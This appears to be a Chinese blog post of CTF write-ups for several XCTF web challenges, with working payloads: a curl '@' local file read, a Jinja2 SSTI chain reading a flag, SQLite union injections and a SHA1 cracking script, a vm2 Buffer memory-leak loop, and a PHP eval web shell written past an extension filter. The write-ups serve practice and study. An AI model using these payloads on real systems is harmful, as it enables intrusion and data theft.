[ 攻防世界 ] web进阶

目的:练习做题手感和思路

CAT

搜索框搜索

弹出?url=

猜测是SSRF,所有协议均被过滤

http://
file:///
dict://
gopher://

回归题目和描述,由CAT联想是命令执行,依然是 invalid url

思路切入点 invalid url => fuzz

fuzz是我思路和实践弱项,积累

?url=%88
宽字节,获取报错信息

在这里插入图片描述
html源码

复制粘贴本地查看

看到了熟悉的django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。

同时看到项目的绝对路径为/opt/api,结合之前fuzz没有过滤掉的@
CURLOPT_POSTFIELDS知识点

在这里插入图片描述
这里还需要懂一些django开发的基本知识,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库)
如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。

读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

?url=@/opt/api/api/settings.py

获取到数据库信息路径

?url=@/opt/api/database.sqlite3

在这里插入图片描述

Confusion1

考点:

python => ssti => flask模板 => jinja2引擎

python_ssti基本思路:

魔术方法:

__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承该类的所有子类

bypass关键字:

特有变量:config request sessiong
特有函数:url_for(),get_flashed_messages()
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
config 也是 Flask 框架中的一个全局对象,它代表 " 当前配置对象( flask.config ) " , 它是一个类字典的对象 , 包含了所有应用程序的配置值

payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

FlatScience

查看源码

访问robots.txt

User-agent: *
Disallow: /login.php
Disallow: /admin.php

/login.php

登录框sql注入无反应(没有尝试单引号闭合)

查看源码
<!-- TODO: Remove ?debug-Parameter! -->

/login.php?debug

<?php
ob_start();
?>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! --> 

SQLite注入

$db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); 

关于SQLite

sqlite有一个sqlite_master表(全局模式表存放本数据库所有表、视图、索引、触发器等的定义,可找到用户表的sql定义
' union select name,sql from sqlite_master--

usr=' union select id,name from Users--&pw=
usr=' union select id,password from Users--&pw=


Set-Cookie: name=+admin; expires=Wed, 09-Feb-2022 05:10:39 GMT; Max-Age=60; path=/
Set-Cookie: name=+3fab54a50e770d830c0416df817567662a9dc85c; expires=Wed, 09-Feb-2022 05:09:42 GMT; Max-Age=60; path=/
Set-Cookie: name=+my+fav+word+in+my+fav+paper%3F%21; expires=Wed, 09-Feb-2022 05:11:14 GMT; Max-Age=60; path=/
admin
3fab54a50e770d830c0416df817567662a9dc85c
my fav word in my fav paper!?

密码经过sha1加密,解密可获得密码

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

sha1(ThinJerboa)=3fab54a50e770d830c0416df817567662a9dc85c

非预期

预期

python爬虫爬取所有pdf文件

脚本1
import urllib.request
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf' # 设置正则表达式匹配pdf文件
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list
    print(url)
    req = requests.get(url).text
    # 获取该页面的所有reques Response的Unicode编码内容
    re_pdf = re.findall(re1,req)
    # 用正则表达式获取该页面中的pdf文件名称
    for index in re_pdf:
        pdf_url=url + index
        pdf_list.append(pdf_url)
    # 这道题狗在 还有很多pdf文件在其他页面 所以需要去访问其他页面再去获取该页面下的pdf
    re_html = re.findall(re2,req)
    # 依次去访问所有的1/2这些页面 每次访问并获取该页面下的pdf文件
    for j in re_html:
        new_url = url+j[0:2] # 切片 将1/index.html 只取1/
        print(new_url)
        get_pdf(new_url)
    return pdf_list

def download(i,url):
    file_name =str(i)+'.pdf'
    req = requests.get(url)
    f = open(r'C:\Users\lenovo\Desktop\python\buuctf做题脚本\XCTF-FlatScience\pdf\\'+file_name,'wb')
    f.write(req.content) # content返回的是HTTP内容的二进制形式
    f.close()
    print('Sucessful to download'+' '+file_name)


    
if __name__=='__main__':
    pdf_list = get_pdf('http://111.200.241.244:41641/')
    for i in range(len(pdf_list)):
        download(i,pdf_list[i])

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
  return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
  pdf_path = get_pdf()
  for i in pdf_path:
    print "Searching word in " + i
    pdf_text = convert_pdf_2_text(i).split(" ")
    for word in pdf_text:
      sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
      if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
        print "Find the password :" + word
        exit()
 
if __name__ == "__main__":
  find_password()
脚本2
import urllib.request
import re

allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")


def my_reptile(url_root,html):
  global pat_pdf
  global pat_html
  html=url_root+html
  
  if(isnew(html)):
    allHtml.append(html)
    
    print("[*]starting to crawl site:{}".format(html))
    with urllib.request.urlopen(html) as f:
      response=f.read().decode('utf-8')
      
    pdf_url=pat_pdf.findall(response)
    for p in pdf_url:
      p=p[6:len(p)-1]
      download_pdf(html+p)
      
    html_url=pat_html.findall(response)
    for h in html_url:
      h=h[6:len(h)-11]
      my_reptile(html,h)
    
def download_pdf(pdf):
  global count
  
  fd=open(str(count)+'.pdf','wb')
  count+=1
  
  print("[+]downloading pdf from site:{}".format(pdf))
  with urllib.request.urlopen(pdf) as f:
    fd.write(f.read())
  fd.close()
  
def isnew(html):
  global allHtml
  for h in allHtml:
    if(html==h):
      return False
  return True


if __name__=="__main__":
  my_reptile("http://111.198.29.45:34582/",'')
  


pdf转txt

from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os

def pdf2txt(pdfFile,txtFile):
  print('[+]converting {} to {}'.format(pdfFile,txtFile))
  
  fd_txt=open(txtFile,'w',encoding='utf-8')
  fd_pdf=open(pdfFile,'rb')
  
  parser=PDFParser(fd_pdf)
  doc=PDFDocument()
  parser.set_document(doc)
  doc.set_parser(parser)
  doc.initialize()
  
  manager=PDFResourceManager()
  laParams=LAParams()
  device=PDFPageAggregator(manager,laparams=laParams)
  interpreter=PDFPageInterpreter(manager,device)
  
  for page in doc.get_pages():
    interpreter.process_page(page)
    layout=device.get_result()
    
    for x in layout:
      if(isinstance(x,LTTextBoxHorizontal)):
        fd_txt.write(x.get_text())
        fd_txt.write('\n')
  fd_pdf.close()
  fd_txt.close()
  print('[-]finished')
  
def crazyWork():
  print('[*]starting my crazy work')
  files=[]
  for f in os.listdir():
    if(f.endswith('.pdf')):
      files.append(f[0:len(f)-4])
  
  for f in files:
    pdf2txt(f+'.pdf',f+'.txt')
  
if __name__=='__main__':
  crazyWork()

爆破

import os
import hashlib

def searchPassword():
  print('[*]starting to search the word')
  for file in os.listdir():
    if(file.endswith('.txt')):
      print('[+]searching {}'.format(file))
      with open(file,'r',encoding='utf-8') as f:
        for line in f:
          words=line.split(' ')
          for word in words:
            if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
              print('[@]haha,i find it:{}'.format(word))
              exit()
              
if __name__=='__main__':
  searchPassword()

leaking

HITCON 2016

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

题型:

nodejs沙箱逃逸

什么是沙箱机制

什么是npm

  • var { VM } = require(“vm2”);

得知是Node.js 官方安全沙箱的库。

  • 在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数Buffer.allocUnsafe(size) 来获得未清空的内存。

  • 我们可以再沙箱里面执行任意的命令,那我们如何逃逸出去呢?

paylaod脚本

import requests

url = ' http://111.200.241.244:58959/?data=Buffer(700)'

while True:
    res = requests.get(url)
    print(res.status_code)

    if 'flag{' in res.text:
        print(res.text)
        break

ics-09

http://111.200.241.244:56012/index.php?page=flag.php
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

要满足

if ($_SESSION['admin'])

就要满足第三个条件达到$_SESSION['admin'] = True;

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') 
  • floatval

  • mysql_real_escape_string

浮点数部不为1

最后一位为9的字符串

1/9和1-9均可满足

/index.php?page=flag.php&id=1/9
<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
?>
$filename = "backup/".$file; //文件名
···
  chdir('uploaded');//修改路径到/uploaded/

最终目录:

/uploaded/backup/xxx.xx
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))

匹配.php3457,pht,phtml
如果匹配到,那么就结束
如果没有匹配到,那么就写入文件

正则的话是判断.之后的字符,因此我们可以利用‘/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

con=<?php @eval($_POST['orz123']);?>&file=../orz.php/.

con=<?php phpinfo();?>&file=p.php/.



bug

  • 包修改admin的密码

  • manage

  • p伪造

  • 文件上传
/index.php?module=filemanage&do=upload

文件内容绕过,并且需要修改php后缀为php4或者php5

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值